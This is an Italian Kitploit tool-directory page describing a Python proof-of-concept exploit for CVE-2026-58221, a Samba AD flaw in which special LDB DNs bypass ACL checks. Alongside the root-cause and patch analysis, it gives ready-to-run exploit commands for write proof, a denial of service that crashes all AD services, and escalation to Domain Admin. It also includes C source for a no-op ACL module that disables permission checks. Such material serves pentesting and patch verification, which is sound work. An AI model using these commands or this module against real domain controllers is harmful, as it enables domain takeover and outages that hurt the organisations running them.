Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-58221 — PoC in Python per CVE-2026-58221: verifica e sfrutta il bypass delle ACL sui DN speciali di Samba AD LDB tramite LDAP per dimostrare l'accesso in scrittura, causare il crash dei servizi AD o escalare a Domain Admin. | Kitploit
Strumenti/GitHubGitHub/devali00/cve-2026-58221
Autenticazione e AutorizzazioneEscalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingLab e Pratica
GitHubdevali00/cve-2026-58221

CVE-2026-58221

PoC in Python per CVE-2026-58221: verifica e sfrutta il bypass delle ACL sui DN speciali di Samba AD LDB tramite LDAP per dimostrare l'accesso in scrittura, causare il crash dei servizi AD o escalare a Domain Admin.

Vedi Repository
1 mese faNon ancora revisionato
Condividi

CVE-2026-58221 — Takeover del dominio AD di Samba tramite modifica di DN speciali LDB

CVSS 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

Qualsiasi utente di dominio autenticato può modificare i record speciali interni LDB di Samba (@MODULES, @PARTITION, @SAMBA_DSDB) tramite LDAP, causando un Denial of Service (crash di tutti i servizi AD) o un'escalation a Domain Admin (con accesso al filesystem locale).

Versioni interessate

StatoVersioni
VulnerabiliSamba AD DC >= 4.0.0 (tutte le versioni precedenti alla patch)
Corrette4.22.11, 4.23.x, 4.24.x

Advisory: https://www.samba.org/samba/security/CVE-2026-58221.html

Causa principale

Due difetti si combinano per aggirare tutti i controlli di accesso sui record LDB interni di Samba:

Difetto 1: rootdse_filter_operations() — Controllo di autenticazione insufficiente

In source4/dsdb/samdb/ldb_modules/rootdse.c, la funzione rootdse_filter_operations() è il primo filtro nella catena di richieste LDAP. Essa blocca solo i chiamanti anonimi — qualsiasi utente autenticato passa, indipendentemente dai privilegi:

// rootdse.c — BEFORE patch
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // Only blocks anonymous — all authenticated users pass through
    if (session_info->security_token == anonymous_token) {
        return LDB_ERR_OPERATIONS_ERROR;
    }
    return ldb_next_request(module, req);  // → passes to ACL module
}

Vulnerabilità 2: acl.c — Bypass delle ACL per DN speciali

In source4/dsdb/samdb/ldb_modules/acl.c, il modulo ACL salta tutti i controlli dei permessi per i DN speciali di LDB (quelli che iniziano con @), presupponendo che solo operazioni interne affidabili vi accedano:

// acl.c — lines 1203/1894 (Samba 4.22.6)
if (ldb_dn_is_special(req->op.mod.message->dn)) {
    return ldb_next_request(module, req);  // NO permission check!
}

Effetto combinato: un utente di dominio autenticato con privilegi bassi invia una richiesta di modifica LDAP indirizzata a @MODULES. Questa supera rootdse_filter_operations() (non anonima), raggiunge acl.c, che rileva un DN speciale e salta tutti i controlli ACL — la modifica riesce.

La patch (4.22.11+)

La correzione aggiunge un controllo ldb_dn_is_special() in rootdse_filter_operations() prima che la richiesta raggiunga il modulo ACL:

// rootdse.c — AFTER patch (4.22.11)
static int rootdse_filter_operations(struct ldb_module *module, struct ldb_request *req)
{
    // NEW: Block all operations on special DNs from external connections
    if (ldb_dn_is_special(req->op.*.message->dn)) {
        D_ERR("CVE-2026-58221-ATTACK: %s\n", ldb_dn_get_linearized(...));
        return LDB_ERR_OPERATIONS_ERROR;
    }
    // ... rest of function
}

Analisi Approfondita dell'Architettura

LDB (Lightning Database)

LDB è il database interno di Samba (sam.ldb), equivalente al NTDS.dit di Windows. Memorizza tutti gli oggetti di Active Directory e utilizza un'architettura a catena di moduli per elaborare le richieste.

Il Meta-Modulo samba_dsdb

samba_dsdb è il punto di ingresso unico che inizializza l'intera catena di moduli di Samba (~30 moduli). Esso:

  1. Legge l'elenco dei moduli hardcoded da samba_dsdb.c (modules_list1, modules_list1a, tdb_modules_list, modules_list2)
  2. Imposta l'opaque forced_module_msg — che sovrascrive qualsiasi valore @PARTITION/modules memorizzato nel database
  3. Inizializza rootDSE, le partizioni e gli opachi da cui dipendono tutti gli altri moduli

Questo è il motivo per cui i singoli moduli non possono essere caricati autonomamente — vanno in crash con Protocol error (2) senza il contesto fornito da samba_dsdb. È anche il motivo per cui modificare @PARTITION/modules nel database non ha alcun effetto sulla catena di moduli in esecuzione.

DN Speciali Chiave

DNScopoImpatto della Modifica
@MODULES/@LISTControlla quali moduli Samba carica per connessioneCrash (se modificato rispetto a samba_dsdb)
@PARTITIONConfigurazione delle partizioni e moduli per partizioneIgnorato (sovrascritto da forced_module_msg)
@SAMBA_DSDBConfigurazione interna di samba_dsdbCrash

Metodi di Sfruttamento

Metodo 1: safe-write (Non Distruttivo) ✅

Riscrive il medesimo valore (@LIST: samba_dsdb) in @MODULES. Dimostra l'accesso in scrittura senza alcun impatto sul servizio. Consigliato per i pentest.

python3 exploit.py --check -H DC_IP -u 'user@domain' -p 'password'
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method safe-write

Metodo 2: dos (Distruttivo) ⚠️

Sostituisce @MODULES/@LIST con i nomi dei singoli moduli (esclusi acl/aclread). Alla connessione successiva, i moduli non riescono a inizializzarsi senza il contesto samba_dsdb → tutti i servizi AD vanno in crash (LDAP, SMB, Kerberos, DNS).

python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' --method dos --force

Impatto: Interruzione totale di AD. Il ripristino richiede l'accesso alla console locale. Tutta l'autenticazione di dominio si arresta.

Metodo 3: escalate (Domain Admin — Richiesto accesso locale) 🔴

Catena di sfruttamento completa per ottenere Domain Admin:

  1. Confermare che @MODULES è scrivibile tramite LDAP (remoto)
  2. Compilare moduli ACL no-op che lasciano passare tutte le richieste (locale)
  3. Sostituire acl.so / aclread.so con versioni no-op (locale)
  4. Riavviare Samba per caricare i moduli no-op (locale)
  5. Aggiungere l'utente target a Domain Admins tramite LDAP (remoto — ACL aggirate)
  6. Verificare l'appartenenza a DA (remoto)
python3 exploit.py --exploit -H DC_IP -u 'user@domain' -p 'password' \
  --method escalate --force \
  --base-dn 'DC=domain,DC=local' \
  --target-dn 'CN=user,CN=Users,DC=domain,DC=local'

Sorgente del modulo ACL no-op:

#include <ldb.h>
#include <ldb_module.h>
static int noop(struct ldb_module *m, struct ldb_request *r) {
    return ldb_next_request(m, r);
}
static const struct ldb_module_ops ops = {
    .name="acl", .add=noop, .modify=noop,
    .del=noop, .rename=noop, .search=noop
};
int ldb_init_module(const char *v) {
    return ldb_register_module(&ops);
}

Modalità dello strumento

ModalitàImpattoRichiede
--checkNessuno (sicuro)LDAPS + credenziali di dominio
--assessNessuno (analisi)LDAPS + credenziali di dominio
--exploit --method safe-writeNessuno (dimostra la scrittura)LDAPS + credenziali di dominio
--exploit --method dosInterruzione totale di ADLDAPS + credenziali di dominio
--exploit --method escalateDomain AdminLDAPS + credenziali di dominio + sudo sul DC
--cleanupAnnulla l'escalationLDAPS + credenziali di dominio + sudo sul DC
--fixRipristina il DC bloccatoConsole locale sul DC

Esempi di utilizzo

# Safe vulnerability check
python3 exploit.py --check -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Assess exploitation impact
python3 exploit.py --assess -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd'

# Non-destructive exploitation proof
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method safe-write

# DoS (DESTRUCTIVE — requires explicit authorization)
python3 exploit.py --exploit -H 10.0.0.1 -u '[email protected]' -p 'P@ssw0rd' \
  --method dos --force
Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    806
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    523
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    441
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    346
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    270
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    264

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →